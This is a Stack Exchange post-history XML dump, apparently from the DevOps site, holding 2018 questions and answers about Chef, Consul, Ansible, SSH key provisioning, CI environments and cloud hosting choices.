  <row Id="17117" PostHistoryTypeId="2" PostId="5384" RevisionGUID="fc71c2e0-ad61-4268-afab-e148157b2849" CreationDate="2018-11-08T23:25:24.913" UserId="9313" Text="I am trying to create a Chef cookbook that will run Hashicorp Consul in the background and will continue with the rest of the recipe and not get hung on starting Consul.&#xD;&#xA;&#xD;&#xA;I have tried the `&amp;` method at the end of the command but when chef-client exits it kills the process and will not let me run any checks / testing against Consul. &#xD;&#xA;&#xD;&#xA;Anyone have a suggestion on how to resolve this? I know I have seen a few implementations where they use ruby scripts but I would like to avoid that as I suck at ruby. Also do not want to use another cookbook from online, rather make my own to learn how as this is a learning project. " ContentLicense="CC BY-SA 4.0" />
  <row Id="17118" PostHistoryTypeId="1" PostId="5384" RevisionGUID="fc71c2e0-ad61-4268-afab-e148157b2849" CreationDate="2018-11-08T23:25:24.913" UserId="9313" Text="Running consul in the background using Chef" ContentLicense="CC BY-SA 4.0" />
  <row Id="17119" PostHistoryTypeId="3" PostId="5384" RevisionGUID="fc71c2e0-ad61-4268-afab-e148157b2849" CreationDate="2018-11-08T23:25:24.913" UserId="9313" Text="&lt;chef&gt;&lt;process&gt;&lt;bash&gt;&lt;consul&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17120" PostHistoryTypeId="6" PostId="5374" RevisionGUID="c818abb4-a3ec-42e8-b395-3f758242dd40" CreationDate="2018-11-09T02:02:36.260" UserId="47" Comment="edited tags" Text="&lt;terminology&gt;&lt;microservices&gt;&lt;cloud&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17121" PostHistoryTypeId="2" PostId="5385" RevisionGUID="5f365fb5-2bab-44f3-871d-541283897142" CreationDate="2018-11-09T03:01:40.193" UserId="10042" Text="I have an Ansible playbook that uses a find module.  I have a string of potential directories to look in.  This string is the value assigned to the variable &quot;result_from_prev&quot;.  My playbook looks like this:&#xD;&#xA;&#xD;&#xA;    find:&#xD;&#xA;      paths: &quot;{{ item }}&quot;&#xD;&#xA;      patterns: &quot;goodfile&quot;&#xD;&#xA;    loop &quot;{{ result_from_prev }}&quot;&#xD;&#xA;    register: files_found&#xD;&#xA;    &#xD;&#xA;    set_fact:&#xD;&#xA;      varspecial: {{ files_found | to json }}&#xD;&#xA;&#xD;&#xA;I want to extract the path of the file name for the file that is found.  How do I do this?&#xD;&#xA;&#xD;&#xA;In the JSON that the varspecial variable can print out, there is a &quot;matched&quot; key.  The value is &quot;0&quot; for each directory path that the file was not found and the value is &quot;1&quot; if the file was found.  But I do not know how to extract just the full path of the file found.  I'd like it to be clean like this: &#xD;&#xA;&#xD;&#xA;&gt; /tmp/subdirectory/goodfile&#xD;&#xA;&#xD;&#xA;The potential locations of where the file will be will change.  I have a framework that works: I have the potential files in a list in a variable named &quot;result_from_prev&quot;.&#xD;&#xA;&#xD;&#xA;I have tried using the &quot;when&quot; conditional and the item.matched notation to analyze the value of specific keys.  These efforts do not work for me.  I have tried putting the JSON into a file or using the &quot;join&quot; feature to create a long string.  But I have not had luck parsing this long string.  I have also tried using the &quot;lookup&quot; keyword with set_fact to assign a variable to that directory path that was found with the find module.  I tried to start over completely with the stat module instead of the find module.  But I found this to be difficult to use a list of potential paths whereas the searching by the file's name is supported with the find module.  I want to avoid using the &quot;shell&quot; module.  Nothing I have tried works.  &#xD;&#xA;&#xD;&#xA;I expect the find module to return only successfully found files with a supported syntax that makes extracting the directory path relatively easy.  This is not what I have experienced.  How do I return just the full path of the file named &quot;goodfile&quot; that is matched with the find module above?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17122" PostHistoryTypeId="1" PostId="5385" RevisionGUID="5f365fb5-2bab-44f3-871d-541283897142" CreationDate="2018-11-09T03:01:40.193" UserId="10042" Text="How do I return just the full path of a file found with the find module in Ansible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17123" PostHistoryTypeId="3" PostId="5385" RevisionGUID="5f365fb5-2bab-44f3-871d-541283897142" CreationDate="2018-11-09T03:01:40.193" UserId="10042" Text="&lt;ansible&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17124" PostHistoryTypeId="2" PostId="5386" RevisionGUID="b1bce58e-038c-4b59-91e3-3482824808e4" CreationDate="2018-11-09T03:18:25.193" UserId="7772" Text="Your idea will work. The organization I work for maintains some [open source examples][1] how to do deploy to AWS using a pipeline. In comparison we use [GitLab][2] for the purpose. Instead of Travis we use [GitLab Runner][3]. You configure it using the file `.gitlab-ci.yml` which runs the tests and deploy the AWS Lambda to dev, test and production environment every time a commit is done.  You store your secret account variables in the CI/CD settings of the repository.&#xD;&#xA;&#xD;&#xA;There are the usual drawbacks of AWS Lambda such as difficult or impossible to test and run locally and waiting for deployments takes time, but your deployment process will be good practice.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/scaniadevtools/aws-deployer&#xD;&#xA;  [2]: https://gitlab.com&#xD;&#xA;  [3]: https://docs.gitlab.com/runner/&#xD;&#xA;  [4]: https://github.com/scaniadevtools/gitlab-runner" ContentLicense="CC BY-SA 4.0" />
  <row Id="17127" PostHistoryTypeId="5" PostId="5375" RevisionGUID="344accab-098e-47dc-afd0-faf4b2136441" CreationDate="2018-11-09T07:58:31.057" UserId="786" Comment="added 123 characters in body" Text="The concept of _service discovery_ works like this:&#xD;&#xA;&#xD;&#xA; 1. When a server, such as a database, starts up, it contacts a central registry and says _Hi, I am a database, and these are my connection details_.&#xD;&#xA; 2. Then when a client starts up, it contacts the registry and says _Hi, I need a database_ and the registry replies _Here are the connection details_ and the client connects to the database directly.&#xD;&#xA;&#xD;&#xA;The only config anyone needs is the location of the registry. The concept of _mesh_ applies a layer of abstraction to this. Every host runs an agent of the mesh, there is no central registry. Now the scenario looks like this:&#xD;&#xA;&#xD;&#xA; 1. The database server starts up and tells its local mesh agent that it is ready. That local agent then replicates this information around the mesh. Agents are in continual communication with each other.&#xD;&#xA; 2. The client starts up and tells its local mesh agent that it needs a database&#xD;&#xA; 3. The client then connects _to its local mesh agent_ which forwards the traffic to the mesh agent on the database server, which simply sees a local connection. Neither the client nor the server are really aware of each other, just of their local connections.&#xD;&#xA;&#xD;&#xA;The advantages are decentralisation and scalability - you could add a new database server for example and let the mesh transparently handle routing and load balancing. There is no central registry to worry about. In our scenario of one client and one server that doesn't matter so much but if you go wild and have 10,000 microservices then it becomes very relevant. &#xD;&#xA;&#xD;&#xA;The disadvantage is one of &quot;all your eggs in one basket&quot;, the mesh itself must be more robust etc than making a traditional connection, which has been proven to work for 30 years. It can also be difficult to use traditional troubleshooting tools such as tracing connections, because the mesh is something of a &quot;black box&quot;, it can be difficult to reason about all the connections as all the traffic on your network now will be inside the mesh, e.g. you can't just look for connections on port X and know that's the database. " ContentLicense="CC BY-SA 4.0" />
  <row Id="17128" PostHistoryTypeId="5" PostId="5382" RevisionGUID="5c39729b-0774-4653-af38-acb40d1e5923" CreationDate="2018-11-09T08:00:45.410" UserId="786" Comment="added 229 characters in body" Text="This feature has [been available in Azure](https://azure.microsoft.com/en-us/blog/announcing-auto-shutdown-for-vms-using-azure-resource-manager/) for a couple of years now, it's as simple as ticking a box and setting a time for shutdown. You can also have it fire a webhook if you need any notifications, or scripts run, or anything else when it shuts down. &#xD;&#xA;&#xD;&#xA;Also on Azure there are pre-configured [data science VMs](https://docs.microsoft.com/en-us/azure/machine-learning/data-science-virtual-machine/overview) and [deep learning VMs](https://docs.microsoft.com/en-us/azure/machine-learning/data-science-virtual-machine/deep-learning-dsvm-overview) with all the tools you need including [R](https://mran.microsoft.com/open) already installed, you just pick a size and spin one up. You can go small just to try the software, or go for one with multiple GPUs, all already set up with the tools and usable straight away. You can even reboot the same box in different sizes depending on what you need that day!&#xD;&#xA;&#xD;&#xA;You are correct that while a VM is not running, you will be charged only for the storage used. " ContentLicense="CC BY-SA 4.0" />
  <row Id="17129" PostHistoryTypeId="50" PostId="3856" RevisionGUID="8d6affd1-15c9-4098-8a3d-bfd4952dd9fd" CreationDate="2018-11-09T08:01:00.170" UserId="-1" />
  <row Id="17131" PostHistoryTypeId="50" PostId="4499" RevisionGUID="79accc42-f33b-4bb8-9aea-c59bd4843668" CreationDate="2018-11-09T09:01:35.250" UserId="-1" />
  <row Id="17132" PostHistoryTypeId="2" PostId="5389" RevisionGUID="cd3148c4-b8c8-4c27-bcd3-89ccc7149c7a" CreationDate="2018-11-09T09:02:20.190" UserId="13" Text="The usual way to do that is to use a service manager (systemd or supervisord) to handle the service lifecycle (keeping the consul program running and restarting it if ti fails for exemple) there's cookbooks existing to help creating those service units.&#xD;&#xA;&#xD;&#xA;The cheap alternative if you count on chef running periodically and handling that is to use [nohup](https://en.wikipedia.org/wiki/Nohup) which is a linux program made exactly for this.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17133" PostHistoryTypeId="2" PostId="5390" RevisionGUID="30f71c56-5c0e-4d8a-b34c-9ca3e493b127" CreationDate="2018-11-09T09:53:42.590" UserId="354" Text="Although the comments have highlighted the fact that this playbook is fine, as long as it is designed to do what it needs to do:&#xD;&#xA;&#xD;&#xA;&gt; The reason behind this is that, the first play will create ansible user with sudo access. Here, I have used root user to run the play. Then I have to run another play as ansible user.&#xD;&#xA;&#xD;&#xA;In the first play, you have only one role: `role1`. If in `role1` you have a task that creates the ansible user, then you can use that user to connect the next time. This is actually something many people do, including myself, to put a known baseline on a service:&#xD;&#xA;&#xD;&#xA;    - name: Ensure Ansible user is present (RedHat)&#xD;&#xA;      user:&#xD;&#xA;       name: ansible&#xD;&#xA;       comment: &quot;ansible user created by bootstrap playbook&quot;&#xD;&#xA;       generate_ssh_key: yes&#xD;&#xA;       groups: wheel&#xD;&#xA;     tags:&#xD;&#xA;     - bootstrap&#xD;&#xA;     when: ansible_os_family==&quot;RedHat&quot;&#xD;&#xA;&#xD;&#xA;    - name: Ensure Ansible user is present (Debian)&#xD;&#xA;      user:&#xD;&#xA;       name: ansible&#xD;&#xA;       comment: &quot;ansible user created by bootstrap playbook&quot;&#xD;&#xA;       generate_ssh_key: yes&#xD;&#xA;       groups: sudo&#xD;&#xA;      tags:&#xD;&#xA;      - bootstrap&#xD;&#xA;      when: ansible_os_family==&quot;Debian&quot;&#xD;&#xA;&#xD;&#xA;    - name: update sudoers to ensure ansible user can sudo&#xD;&#xA;      lineinfile:&#xD;&#xA;        dest: /etc/sudoers&#xD;&#xA;        state: present&#xD;&#xA;        regexp: '^ansible'&#xD;&#xA;        line: 'ansible ALL=(ALL) NOPASSWD: ALL'&#xD;&#xA;      tags:&#xD;&#xA;      - bootstrap&#xD;&#xA;&#xD;&#xA;This will ensure that the user is added, and included in the right groups, with sudo rights -- it is just an example of how you could achieve this, there are other strategies of course.&#xD;&#xA;&#xD;&#xA;&gt; My question is how to run these play one after another? I first want to run first one then after that second one.&#xD;&#xA;&#xD;&#xA;That's exactly how playbooks work.&#xD;&#xA;&#xD;&#xA;&gt; If I run the playbook then it will get stuck because it will first run first play and tries to run second play where it gets stuck.&#xD;&#xA;&#xD;&#xA;If you do not have a task to configure the user required in the next play, then yes, it will fail (not get stuck). &#xD;&#xA;The point is that since Ansible is idempotent, you don't have to worry about skipping the play because if the user is properly configured, the first play will simply have no effect.&#xD;&#xA;&#xD;&#xA;However, to answer the actual question &#xD;&#xA;&#xD;&#xA;&gt; How do I skip a play in an Ansible playbook ? &#xD;&#xA;&#xD;&#xA;This is done using the conditional execution using [`when`](https://docs.ansible.com/ansible/latest/user_guide/playbooks_conditionals.html#the-when-statement)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17134" PostHistoryTypeId="2" PostId="5391" RevisionGUID="d754d54e-bed8-47a1-b2a0-8e3c965d85e7" CreationDate="2018-11-09T11:51:05.490" UserId="10718" Text="This is a question that may be easier answered on askubuntu or, perhaps, serverfault, but it arises in the context of automated provisioning, so I figured that it's more appropriate here.&#xD;&#xA;&#xD;&#xA;I am spinning up a multi-machine environment in vagrant, e.g. `n+1` ubuntu-18.04 boxes, namely&#xD;&#xA;&#xD;&#xA;- term (short for terminal)&#xD;&#xA;- node1&#xD;&#xA;- ...&#xD;&#xA;- nodeN&#xD;&#xA;&#xD;&#xA;They can all resolve each other by the above hostnames. It's necessary, that `term` can SSH into each of the nodes using its public key.&#xD;&#xA;&#xD;&#xA;Manually I can do this with the following script:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    head='node'&#xD;&#xA;    &#xD;&#xA;    ssh-keygen -N '' -f ~/.ssh/id_rsa&#xD;&#xA;    &#xD;&#xA;    for ((i=1; i&lt;=$1; i++)); do&#xD;&#xA;      name=$head&#xD;&#xA;      name+=$i&#xD;&#xA;      ssh-copy-id $name&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;running, e.g., `./copyid.sh 3`. But then I have to type `yes` (to confirm the fingerprint of the node) and `vagrant` (the password) three times.&#xD;&#xA;&#xD;&#xA;I want to move this procedure to the provisioning of the VMs in the Vagrantfile. So I have two questions:&#xD;&#xA;&#xD;&#xA;- How can this be automated without demanding manual input from myself?&#xD;&#xA;- When I transfer over from virtual machines to bare metal servers, what best practices should I follow to prevent infosec guys from screaming &quot;man in the middle&quot; at me?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17135" PostHistoryTypeId="1" PostId="5391" RevisionGUID="d754d54e-bed8-47a1-b2a0-8e3c965d85e7" CreationDate="2018-11-09T11:51:05.490" UserId="10718" Text="How do I automate population of known_hosts and authorized_keys?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17136" PostHistoryTypeId="3" PostId="5391" RevisionGUID="d754d54e-bed8-47a1-b2a0-8e3c965d85e7" CreationDate="2018-11-09T11:51:05.490" UserId="10718" Text="&lt;vagrant&gt;&lt;provisioning&gt;&lt;key-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17137" PostHistoryTypeId="2" PostId="5392" RevisionGUID="f6e01b11-8045-45df-b1cd-3992565ed193" CreationDate="2018-11-09T12:37:34.830" UserId="10761" Text="As an organisation we are (finally) moving to a good CI/CD setup. We use Github for development and now have a nice CI setup where we auto deploy specific tags to different environments.&#xD;&#xA;&#xD;&#xA;Now I want to setup a system where we have a live environment for every pull request untill it it either merged or closed. But I'm not entirely sure how I would get to creating a database per environment with good data. I've tought of multiple solutions myself, but maybe people here have different insights.&#xD;&#xA;&#xD;&#xA;Things I've thought of so far.&#xD;&#xA;&#xD;&#xA; 1. Just connect to the staging database. Pros: probably easiest to setup. Cons: Very hard to manage with database migrations.&#xD;&#xA;&#xD;&#xA; 2. Create a copy of the staging database, and delete it when done with the branch. Pros: probably the best database state management. Cons: I'm not sure how to automate creation of access credentials to the new database. &#xD;&#xA;&#xD;&#xA; 3. Have excelent seed data and create  a new database with that. Pros: Probably also very easy to setup. Cons: Developers need to make sure the seed data is up to date. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;To give a bit more context, we are a project based organisation so we have a lot of different projects for different clients going on.&#xD;&#xA;&#xD;&#xA;I was wondering how other companies manage this. " ContentLicense="CC BY-SA 4.0" />
  <row Id="17138" PostHistoryTypeId="1" PostId="5392" RevisionGUID="f6e01b11-8045-45df-b1cd-3992565ed193" CreationDate="2018-11-09T12:37:34.830" UserId="10761" Text="How to manage Pull request or branch environment databases?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17139" PostHistoryTypeId="3" PostId="5392" RevisionGUID="f6e01b11-8045-45df-b1cd-3992565ed193" CreationDate="2018-11-09T12:37:34.830" UserId="10761" Text="&lt;continuous-integration&gt;&lt;databases&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17140" PostHistoryTypeId="2" PostId="5393" RevisionGUID="3bc6e8f5-e5d3-4cd3-9778-eb82d7a4dc7f" CreationDate="2018-11-09T13:17:21.640" UserId="10762" Text="use try/catch&#xD;&#xA;&#xD;&#xA;    def safeBuildUser = &quot;unknown&quot;&#xD;&#xA;    wrap([$class: 'BuildUser']) {&#xD;&#xA;      try {&#xD;&#xA;         safeBuildUser = BUILD_USER&#xD;&#xA;      } catch (e) {&#xD;&#xA;         echo &quot;User not in scope, probably triggered from another job&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    echo &quot;Builduser is: ${safeBuildUser}&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17148" PostHistoryTypeId="5" PostId="3585" RevisionGUID="c6aa0ae8-46a3-44d4-a995-da5f6dced367" CreationDate="2018-11-09T18:21:57.687" UserId="210" Comment="deleted 2 characters in body" Text="Infrastructure as code means that the infrastructure configuration is stored in a version control system (VCS). If changes will be applied, it is traceable who changed the code and when.&#xD;&#xA;&#xD;&#xA;Although it is unclear to me what the aim is of your question, it is possible to use a continuous integration (CI) tool like, Jenkins, gitlab, circleci that pulls the code from git, installs ansible or use an image that contains ansible in order to run a playbook." ContentLicense="CC BY-SA 4.0" />
  <row Id="17149" PostHistoryTypeId="2" PostId="5396" RevisionGUID="b4a594c0-dc06-4ab5-b834-11ae73dd43f3" CreationDate="2018-11-09T18:57:34.577" UserId="10766" Text="You have to execute `ssh-keyscan`. For example to ssh to github host you have to run below script &#xD;&#xA;&#xD;&#xA;    # Add ssh key to help cloning private github repo&#xD;&#xA;&#xD;&#xA;    ssh-keygen -t rsa -N &quot;&quot; -f secrets/ssh/${USER}_rsa&#xD;&#xA;    PUB_KEY=$(cat secrets/ssh/${USER}_rsa.pub)&#xD;&#xA;    PRV_KEY=$(cat secrets/ssh/${USER}_rsa)&#xD;&#xA;&#xD;&#xA;    echo &quot;${PRV_KEY}&quot; &gt;&gt; ~/.ssh/github_rsa&#xD;&#xA;    chmod 600 ~/.ssh/github_rsa&#xD;&#xA;    eval \$(ssh-agent)&#xD;&#xA;    ssh-add ~/.ssh/github_rsa&#xD;&#xA;    ssh-keyscan github.com &gt;&gt; ~/.ssh/known_hosts&#xD;&#xA;    echo IdentityFile ~/.ssh/github_rsa &gt;&gt; ~/.ssh/config" ContentLicense="CC BY-SA 4.0" />
  <row Id="17150" PostHistoryTypeId="5" PostId="5396" RevisionGUID="5a187a7f-4e2d-46b4-b3b7-2a1417e6a572" CreationDate="2018-11-09T19:12:10.370" UserId="10766" Comment="added 13 characters in body" Text="You have to execute `ssh-keyscan`. For example to ssh to a host (github.com here ) you have to run below script &#xD;&#xA;&#xD;&#xA;    # Add ssh key to help cloning private github repo&#xD;&#xA;&#xD;&#xA;    ssh-keygen -t rsa -N &quot;&quot; -f secrets/ssh/github_rsa&#xD;&#xA;    PUB_KEY=$(cat secrets/ssh/github_rsa.pub)&#xD;&#xA;    PRV_KEY=$(cat secrets/ssh/github_rsa)&#xD;&#xA;&#xD;&#xA;    echo &quot;${PRV_KEY}&quot; &gt;&gt; ~/.ssh/github_rsa&#xD;&#xA;    chmod 600 ~/.ssh/github_rsa&#xD;&#xA;    eval \$(ssh-agent)&#xD;&#xA;    ssh-add ~/.ssh/github_rsa&#xD;&#xA;&#xD;&#xA;    ssh-keyscan github.com &gt;&gt; ~/.ssh/known_hosts&#xD;&#xA;    echo IdentityFile ~/.ssh/github_rsa &gt;&gt; ~/.ssh/config&#xD;&#xA;&#xD;&#xA;    echo &quot;Paste the following public key to your host machine &quot;.${PUB_KEY}" ContentLicense="CC BY-SA 4.0" />
  <row Id="17152" PostHistoryTypeId="50" PostId="2094" RevisionGUID="4e51ce1e-2f35-4ab9-ae8e-4e451e6d36e0" CreationDate="2018-11-09T20:00:40.057" UserId="-1" />
  <row Id="17153" PostHistoryTypeId="2" PostId="5397" RevisionGUID="8db05ccb-f204-41a4-bfb1-59e4ddc39983" CreationDate="2018-11-09T20:30:07.243" UserId="210" Text="The aim is to exclude a certain line that contains a checksum and cannot be smaller than 80 characters.&#xD;&#xA;&#xD;&#xA;    --&gt; Scenario: 'default'&#xD;&#xA;    --&gt; Action: 'lint'&#xD;&#xA;    --&gt; Executing Yamllint on files found in /tmp/ansible-firefox/...&#xD;&#xA;        /tmp/ansible-firefox/defaults/main.yml&#xD;&#xA;          2:81      error    line too long (153 &gt; 80 characters)  (line-length)&#xD;&#xA;&#xD;&#xA;defaults/main.yml&#xD;&#xA;&#xD;&#xA;    firefox_checksum: sha512:49d776cfb5f42c6e5ea1a55a80d9f6bad223080b16baa0d39de63534c25e68340091b4e16be5355d565f81291cb94fb996f03ae7e3e4c7a28021b0a0929daf58" ContentLicense="CC BY-SA 4.0" />
  <row Id="17154" PostHistoryTypeId="1" PostId="5397" RevisionGUID="8db05ccb-f204-41a4-bfb1-59e4ddc39983" CreationDate="2018-11-09T20:30:07.243" UserId="210" Text="How to exclude a certain linenumber of an Ansible playbook when testing it using molecule?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17155" PostHistoryTypeId="3" PostId="5397" RevisionGUID="8db05ccb-f204-41a4-bfb1-59e4ddc39983" CreationDate="2018-11-09T20:30:07.243" UserId="210" Text="&lt;ansible&gt;&lt;molecule&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17156" PostHistoryTypeId="2" PostId="5398" RevisionGUID="400c4dfa-2a28-4187-9b00-87fd95a29b69" CreationDate="2018-11-09T20:50:41.390" UserId="10772" Text="I think you can do this by Nodeselector. Firstly add a label for node selector in your daemonset config. Then label your nodes with the attached label. Now if you can set the autoscaling thresholds, it will be deployed on that node automatically on nodes that matches the label. Maybe you can tweak somehow to attach a label to your node when it is added to your pool. &#xD;&#xA;&#xD;&#xA;Also, with Kubernetes 1.6+, we have the feature of rolling update strategy which is far better than onDelete. &#xD;&#xA;&#xD;&#xA;Cheers" ContentLicense="CC BY-SA 4.0" />
  <row Id="17161" PostHistoryTypeId="5" PostId="5385" RevisionGUID="17ac5440-ac75-4632-8f54-c21165b5d6dd" CreationDate="2018-11-10T02:20:12.083" UserId="10042" Comment="I provided the Ansible code as requested.  I reworded the post." Text="This has been reworded, expanded upon and clarified via an update late on 11/9/18.  I request it be upvoted now that it has enough code.&#xD;&#xA;&#xD;&#xA;I want to find a softlink (to another file) in the $PATH environment variable on Linux managed nodes.&#xD;&#xA;&#xD;&#xA;I have an Ansible playbook that uses a find module.  I have a string of potential directories to look in.  This string is the value assigned to the variable &quot;result_from_prev&quot;.  My playbook looks like this:&#xD;&#xA;&#xD;&#xA;     - debug:&#xD;&#xA;         msg: &quot;{{ item }}: {{ lookup('env', 'PATH') }}&quot;&#xD;&#xA;       with_dict: {a, 1}&#xD;&#xA;       register: prevar&#xD;&#xA;     - set_fact:&#xD;&#xA;         midvar: &quot;{{ prevar | dictsort | join('') }}&quot;&#xD;&#xA;     - set_fact:&#xD;&#xA;         result_from_prev: &quot;{{ midvar.split(':') }}&quot;&#xD;&#xA;     - find:&#xD;&#xA;         paths: &quot;{{ item }}&quot;&#xD;&#xA;         patterns: &quot;goodfile&quot;&#xD;&#xA;         file_type: link&#xD;&#xA;       register: files_found&#xD;&#xA;       loop: &quot;{{ result_from_prev }}&quot;&#xD;&#xA;     - set_fact: &#xD;&#xA;         jsonvar: &quot;{{ files_found | to_json }}&quot;&#xD;&#xA;     - set_fact: &#xD;&#xA;         var: &quot;{{ files_found | list }}&quot;&#xD;&#xA;     - debug:&#xD;&#xA;         msg: &quot;{{ item }}&quot;&#xD;&#xA;       loop: &quot;{{ files_found | json_query('files[*].path' }}&quot;&#xD;&#xA;&#xD;&#xA;I want to extract the path of the file name for the file that is found.  How do I do this?&#xD;&#xA;&#xD;&#xA;The above gives me an error about invalid data being passed to loop.  A list must be passed. I think that files_found is a dictionary.  How would I use wantlist=True here?  I tried, but I had no luck.&#xD;&#xA;&#xD;&#xA;I tried using jsonvar instead of &quot;files_found&quot; in the loop.  But I got the same error about invalid data being passed to 'loop.'&#xD;&#xA;&#xD;&#xA;I tried using listvar instead of files_found.  But I got the same error about invalid data being passed to 'loop.'&#xD;&#xA;&#xD;&#xA;I tried using &quot;with_items&quot; instead of &quot;loop&quot;.  But this prints out nothing for the msg.&#xD;&#xA;&#xD;&#xA;In the JSON that the jsonvar variable can print out, there is a &quot;matched&quot; key.  The value is &quot;0&quot; for each directory path that the file was not found and the value is &quot;1&quot; if the file was found.  But I do not know how to extract just the full path of the file found.  I'd like it to be clean like this: &#xD;&#xA;&#xD;&#xA;&gt; /tmp/subdirectory/goodfile&#xD;&#xA;&#xD;&#xA;The potential locations of where the file will be will change.  I have a framework that works: I have the potential files in a list in a variable named &quot;result_from_prev&quot;.&#xD;&#xA;&#xD;&#xA;I have tried using the &quot;when&quot; conditional and the item.matched notation to analyze the value of specific keys.  These efforts do not work for me.  I have tried putting the JSON into a file or using the &quot;join&quot; feature to create a long string.  But I have not had luck parsing this long string.  I have also tried using the &quot;lookup&quot; keyword with set_fact to assign a variable to that directory path that was found with the find module.  I tried to start over completely with the stat module instead of the find module.  But I found this to be difficult to use a list of potential paths whereas the searching by the file's name is supported with the find module.  I want to avoid using the &quot;shell&quot; module.  Nothing I have tried works.  &#xD;&#xA;&#xD;&#xA;I expect the find module to return only successfully found files with a supported syntax that makes extracting the directory path relatively easy.  This is not what I have experienced.  How do I return just the full path of the file named &quot;goodfile&quot; that is matched with the find module above?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17162" PostHistoryTypeId="2" PostId="5399" RevisionGUID="7b16e2a8-e37e-466b-aa95-ebd6ee1a0bf8" CreationDate="2018-11-10T02:29:18.803" UserId="10775" Text="My current client uses .net and .net core,  tfs and deploys via ocotpus. They want to use helm, k8s and docker.  With all of the environments, env variables already in octopus. I am thinking restore the nuget packages in the dockerfile, build the image, push to our local registry. Add our docker registry as a feed, add helm as a feed then creating a lifecycle for dev and prod. Then modify the octopus jobs to point to the local registry to pull the images. Anyone see any issues here? Should i strip out the env variables from octopus and just get rid of octopus?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17163" PostHistoryTypeId="1" PostId="5399" RevisionGUID="7b16e2a8-e37e-466b-aa95-ebd6ee1a0bf8" CreationDate="2018-11-10T02:29:18.803" UserId="10775" Text="Tfs octopus migration to k8s and docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="17164" PostHistoryTypeId="3" PostId="5399" RevisionGUID="7b16e2a8-e37e-466b-aa95-ebd6ee1a0bf8" CreationDate="2018-11-10T02:29:18.803" UserId="10775" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17165" PostHistoryTypeId="2" PostId="5400" RevisionGUID="1b18367f-3c82-4181-be29-fdb16d7de7c4" CreationDate="2018-11-10T02:46:51.777" UserId="10776" Text="I'm working on a project based on Microservice architecture in Laravel, which means I'll have many small apps and Databases, I'm confused weather I should buy AWS EC2 or Digital Ocean's hosting. My concern is pricing, In numbers I'm having a 100% price difference and getting Digital Ocean's hosting in 50% of the price with more features then what I'm getting on AWS.&#xD;&#xA;&#xD;&#xA;Please suggest me what would be the better option." ContentLicense="CC BY-SA 4.0" />
  <row Id="17166" PostHistoryTypeId="1" PostId="5400" RevisionGUID="1b18367f-3c82-4181-be29-fdb16d7de7c4" CreationDate="2018-11-10T02:46:51.777" UserId="10776" Text="Digital Ocean vs AWS EC2 for Laravel based application" ContentLicense="CC BY-SA 4.0" />
  <row Id="17167" PostHistoryTypeId="3" PostId="5400" RevisionGUID="1b18367f-3c82-4181-be29-fdb16d7de7c4" CreationDate="2018-11-10T02:46:51.777" UserId="10776" Text="&lt;amazon-ec2&gt;&lt;microservices&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17169" PostHistoryTypeId="2" PostId="5401" RevisionGUID="9ce1ec33-48fa-4064-9f6e-13b5c84c4efa" CreationDate="2018-11-10T05:21:36.123" UserId="7772" Text="This is kind of a subjective question but I will try to answer it as objectively as I can. Naturally you can list the advantages and disadvantages of the possible choices. Both choices offer about the same availability if I understand correctly. AWS is never cheapest in the price comparisons that I read. So that gives DigitalOcean an advantage. &#xD;&#xA;&#xD;&#xA;For reasons from my management, I use AWS all the time but if I would start a project today then I would go for DigitalOcean because I also have seen price comparisons where AWS is never cheapest. Competition is good for everybody and therefore it is good to buy from competitors so that AWS feels a competition. &#xD;&#xA;&#xD;&#xA;If features and pricing is your main concern and if DigitalOcean can do it, then you have convincing arguments to use DigitalOcean. &#xD;&#xA;&#xD;&#xA;If complete automation with something like Cloudformation is your goal and if you already know AWS very well, then you might want to go with AWS instead because you already know it. " ContentLicense="CC BY-SA 4.0" />
  <row Id="17170" PostHistoryTypeId="50" PostId="1654" RevisionGUID="a932c232-bd75-4bc6-8e34-544938a8dc73" CreationDate="2018-11-10T06:02:30.447" UserId="-1" />
  <row Id="17171" PostHistoryTypeId="5" PostId="5399" RevisionGUID="7117ad29-a103-4dd7-9fac-31fc76b486ca" CreationDate="2018-11-10T06:28:38.500" UserId="7772" Comment="corrected spelling and improved wording" Text="My current client uses .net and .net core,  tfs and deploys via octopus. They want to use helm, k8s and docker.  With all of the environments, env variables are already in octopus. I am thinking restore the nuget packages in the dockerfile, build the image, push to our local registry. Add our docker registry as a feed, add helm as a feed then creating a lifecycle for dev and prod. Then modify the octopus jobs to point to the local registry to pull the images. Anyone see any issues here? Should i strip out the env variables from octopus and just get rid of octopus?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17172" PostHistoryTypeId="24" PostId="5399" RevisionGUID="7117ad29-a103-4dd7-9fac-31fc76b486ca" CreationDate="2018-11-10T06:28:38.500" Comment="Proposed by 7772 approved by -1 edit id of 845" ContentLicense="CC BY-SA 4.0" />
